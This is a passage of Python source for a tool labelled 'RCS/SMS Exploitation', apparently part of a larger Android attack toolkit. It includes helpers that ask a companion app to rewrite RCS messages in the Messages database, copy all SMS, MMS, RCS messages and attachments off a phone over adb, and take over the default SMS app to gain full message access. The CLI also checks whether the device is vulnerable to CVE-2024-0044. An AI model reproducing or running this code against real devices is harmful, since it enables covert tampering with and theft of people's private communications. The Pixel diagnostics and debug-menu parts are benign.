"""Ask Archon to modify an RCS message in bugle_db."""
return self.archon_query('MODIFY_RCS', {
'msg_id': msg_id,
'new_body': new_body,
})
def archon_get_rcs_threads(self) -> Dict[str, Any]:
"""Get RCS thread list via Archon relay."""
return self.archon_query('GET_RCS_THREADS')
def archon_backup_all(self) -> Dict[str, Any]:
"""Full backup via Archon (SMS + MMS + RCS + attachments)."""
result = self.archon_query('FULL_BACKUP', {
'output_dir': '/sdcard/Download/autarch_backup',
'include_rcs': 'true',
'include_attachments': 'true',
})
if result.get('ok'):
# Pull the backup
time.sleep(5)
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
local_dir = self._backups_dir / f'archon_backup_{timestamp}'
local_dir.mkdir(parents=True, exist_ok=True)
pull = self._run_adb(f'pull /sdcard/Download/autarch_backup/ {local_dir}/')
result['local_path'] = str(local_dir)
result['pull_result'] = pull
return result
def archon_set_default_sms(self) -> Dict[str, Any]:
"""Set Archon as the default SMS/RCS app (enables full message access)."""
return self.set_default_sms_app('com.darkhal.archon')
# ══════════════════════════════════════════════════════════════════════
# §13 PIXEL-SPECIFIC TOOLS
# ══════════════════════════════════════════════════════════════════════
def pixel_diagnostics(self) -> Dict[str, Any]:
"""Run Pixel-specific RCS diagnostic commands."""
results = {}
# IMS status
results['ims'] = self._shell('dumpsys telephony_ims')[:3000]
# Carrier config (extract RCS-relevant keys)
cc = self.get_carrier_config()
results['carrier_rcs_config'] = cc.get('rcs_config', {})
# Phone info
results['phone'] = self._shell('dumpsys phone | head -50')
# Check if Pixel
brand = self._shell('getprop ro.product.brand').lower()
results['is_pixel'] = 'google' in brand
# RCS-specific settings
results['rcs_settings'] = {}
for key in ['rcs_autoconfiguration_enabled', 'rcs_e2ee_enabled',
'chat_features_enabled']:
val = self._shell(f'settings get global {key}')
if not self._is_error(val):
results['rcs_settings'][key] = val
return {'ok': True, **results}
def enable_debug_menu(self) -> Dict[str, Any]:
"""Instructions and automation for enabling Google Messages debug menu."""
return {
'ok': True,
'instructions': [
'1. Open Google Messages on the device',
'2. Tap the search bar',
'3. Type: *xyzzy*',
'4. A debug menu will appear in Settings',
'5. Enables: RCS connection state, ACS URL, feature flags, verbose logging',
],
'automated_phenotype': 'Use enable_verbose_logging() to enable debug flags via Phenotype',
}
# ══════════════════════════════════════════════════════════════════════
# §14 CLI ENTRY POINT
# ══════════════════════════════════════════════════════════════════════
def run(self):
"""CLI interactive mode."""
print(f"\n RCS/SMS Exploitation v{VERSION}")
print(" " + "=" * 40)
status = self.get_status()
if status.get('connected'):
dev = status['device']
print(f" Device: {dev.get('model', '?')} ({dev.get('serial', '?')})")
print(f" Android: {dev.get('android_version', '?')} (patch: {dev.get('security_patch', '?')})")
print(f" SMS App: {dev.get('default_sms_app', '?')}")
shizuku = status.get('shizuku', {})
print(f" Shizuku: {'running' if shizuku.get('running') else 'not running'}")
archon = status.get('archon', {})
print(f" Archon: {'installed' if archon.get('installed') else 'not installed'}")
cve = status.get('cve_2024_0044', {})
if cve.get('vulnerable'):
print(f" CVE-2024-0044: VULNERABLE")
else:
print(" No device connected")
def run():
get_rcs_tools().run()
Reference in New Issue Copy Permalink